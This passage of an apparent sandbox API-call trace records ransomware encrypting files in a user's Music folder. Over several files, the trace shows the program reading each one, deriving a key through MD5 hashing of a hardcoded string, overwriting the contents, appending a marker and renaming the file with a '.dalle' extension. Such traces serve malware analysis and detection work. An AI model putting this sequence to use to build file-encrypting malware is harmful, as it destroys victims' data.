hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.519] CloseHandle (hObject=0x618) returned 1 [0120.519] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018380 [0120.519] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x880) returned 0x3096780 [0120.519] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018380 | out: hHeap=0x5e0000) returned 1 [0120.520] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\m5E4cMfxi NqFn.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\m5e4cmfxi nqfn.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\m5E4cMfxi NqFn.wav.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\m5e4cmfxi nqfn.wav.dalle")) returned 1 [0120.520] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.520] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.521] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6cea80 | out: hHeap=0x5e0000) returned 1 [0120.521] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ba76680, ftCreationTime.dwHighDateTime=0x1d4cbba, ftLastAccessTime.dwLowDateTime=0xcefe7040, ftLastAccessTime.dwHighDateTime=0x1d4ceb9, ftLastWriteTime.dwLowDateTime=0xcefe7040, ftLastWriteTime.dwHighDateTime=0x1d4ceb9, nFileSizeHigh=0x0, nFileSizeLow=0x17682, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OHu_s.m4a", cAlternateFileName="")) returned 1 [0120.521] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.521] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x76) returned 0x6cea80 [0120.521] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.521] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\OHu_s.m4a") returned=".m4a" [0120.521] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\OHu_s.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ohu_s.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.521] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=95874) returned 1 [0120.521] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.523] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x1765c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.523] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.525] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0120.525] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0120.525] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.525] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x17682, lpOverlapped=0x0) returned 1 [0120.526] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.526] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0120.526] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.526] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.526] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0120.526] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.527] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.527] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.527] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0120.527] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.527] GetLastError () returned 0x0 [0120.527] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.527] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0120.527] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0120.527] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x17680) returned 0x3096780 [0120.527] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0120.527] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0120.527] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x1767d, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb24*=0x1767d, lpOverlapped=0x0) returned 1 [0120.528] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.528] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x17682, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.528] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f339b8 [0120.528] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x30940c0 [0120.528] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x30940c0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0120.528] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0120.528] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30940c0 | out: hHeap=0x5e0000) returned 1 [0120.528] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f339b8 | out: hHeap=0x5e0000) returned 1 [0120.528] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0120.528] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.528] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.528] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.528] CloseHandle (hObject=0x618) returned 1 [0120.529] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f339b8 [0120.529] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x870) returned 0x3096780 [0120.529] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f339b8 | out: hHeap=0x5e0000) returned 1 [0120.529] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\OHu_s.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ohu_s.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\OHu_s.m4a.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ohu_s.m4a.dalle")) returned 1 [0120.530] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.530] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.531] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6cea80 | out: hHeap=0x5e0000) returned 1 [0120.531] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed0394a0, ftCreationTime.dwHighDateTime=0x1d4d37b, ftLastAccessTime.dwLowDateTime=0xaf556b40, ftLastAccessTime.dwHighDateTime=0x1d4c9c8, ftLastWriteTime.dwLowDateTime=0xaf556b40, ftLastWriteTime.dwHighDateTime=0x1d4c9c8, nFileSizeHigh=0x0, nFileSizeLow=0x7a62, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="QjxSgCh.mp3", cAlternateFileName="")) returned 1 [0120.531] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.531] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x76) returned 0x6cea80 [0120.531] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.531] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\QjxSgCh.mp3") returned=".mp3" [0120.531] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\QjxSgCh.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\qjxsgch.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.531] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=31330) returned 1 [0120.531] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.533] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x7a3c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.533] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.535] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0120.535] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0120.535] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.535] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x7a62, lpOverlapped=0x0) returned 1 [0120.535] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.535] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0120.535] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.536] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.536] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0da8) returned 1 [0120.536] CryptCreateHash (in: hProv=0x6c0da8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.536] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.536] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.536] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0120.536] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.537] GetLastError () returned 0x0 [0120.537] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.537] CryptReleaseContext (hProv=0x6c0da8, dwFlags=0x0) returned 1 [0120.537] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0120.537] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x7a60) returned 0x3096780 [0120.537] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0120.537] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0120.537] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x7a5d, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb24*=0x7a5d, lpOverlapped=0x0) returned 1 [0120.537] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.537] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x7a62, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.537] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f339b8 [0120.537] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x30940c0 [0120.537] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x30940c0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0120.537] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0120.537] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30940c0 | out: hHeap=0x5e0000) returned 1 [0120.537] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f339b8 | out: hHeap=0x5e0000) returned 1 [0120.537] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0120.538] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.538] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.538] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.538] CloseHandle (hObject=0x618) returned 1 [0120.538] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f339b8 [0120.538] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x870) returned 0x3096780 [0120.539] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f339b8 | out: hHeap=0x5e0000) returned 1 [0120.539] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\QjxSgCh.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\qjxsgch.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\QjxSgCh.mp3.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\qjxsgch.mp3.dalle")) returned 1 [0120.539] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.539] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.540] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6cea80 | out: hHeap=0x5e0000) returned 1 [0120.540] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc6bfde0, ftCreationTime.dwHighDateTime=0x1d4d305, ftLastAccessTime.dwLowDateTime=0xe75624d0, ftLastAccessTime.dwHighDateTime=0x1d4c676, ftLastWriteTime.dwLowDateTime=0xe75624d0, ftLastWriteTime.dwHighDateTime=0x1d4c676, nFileSizeHigh=0x0, nFileSizeLow=0x3061, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tjl_cEIieo_pVMS7Kw.m4a", cAlternateFileName="TJL_CE~1.M4A")) returned 1 [0120.540] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.540] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c0da8 [0120.540] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.540] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tjl_cEIieo_pVMS7Kw.m4a") returned=".m4a" [0120.540] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tjl_cEIieo_pVMS7Kw.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tjl_ceiieo_pvms7kw.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.541] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=12385) returned 1 [0120.541] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.543] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x303b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.543] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.544] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0120.544] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0120.544] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.544] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x3061, lpOverlapped=0x0) returned 1 [0120.545] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.545] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0120.545] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.545] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.545] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c10d8) returned 1 [0120.546] CryptCreateHash (in: hProv=0x6c10d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.546] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.546] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.546] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0120.546] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.546] GetLastError () returned 0x0 [0120.546] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.546] CryptReleaseContext (hProv=0x6c10d8, dwFlags=0x0) returned 1 [0120.546] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0120.546] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x3060) returned 0x3096780 [0120.546] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0120.546] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0120.546] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x305c, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb24*=0x305c, lpOverlapped=0x0) returned 1 [0120.547] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.547] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x3061, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.547] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f339b8 [0120.547] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x30940c0 [0120.547] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x30940c0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0120.547] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0120.547] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30940c0 | out: hHeap=0x5e0000) returned 1 [0120.547] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f339b8 | out: hHeap=0x5e0000) returned 1 [0120.547] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0120.547] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.547] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.547] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.547] CloseHandle (hObject=0x618) returned 1 [0120.548] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c10d8 [0120.548] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x890) returned 0x3096780 [0120.548] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c10d8 | out: hHeap=0x5e0000) returned 1 [0120.548] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tjl_cEIieo_pVMS7Kw.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tjl_ceiieo_pvms7kw.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tjl_cEIieo_pVMS7Kw.m4a.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tjl_ceiieo_pvms7kw.m4a.dalle")) returned 1 [0120.550] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.550] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.551] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0da8 | out: hHeap=0x5e0000) returned 1 [0120.551] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x330de1a0, ftCreationTime.dwHighDateTime=0x1d4ccbd, ftLastAccessTime.dwLowDateTime=0x44f9fe0, ftLastAccessTime.dwHighDateTime=0x1d4cc89, ftLastWriteTime.dwLowDateTime=0x44f9fe0, ftLastWriteTime.dwHighDateTime=0x1d4cc89, nFileSizeHigh=0x0, nFileSizeLow=0xfc0f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uYJ6-T5.mp3", cAlternateFileName="")) returned 1 [0120.551] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.551] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x76) returned 0x6cea80 [0120.551] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.551] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\uYJ6-T5.mp3") returned=".mp3" [0120.551] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\uYJ6-T5.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\uyj6-t5.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, 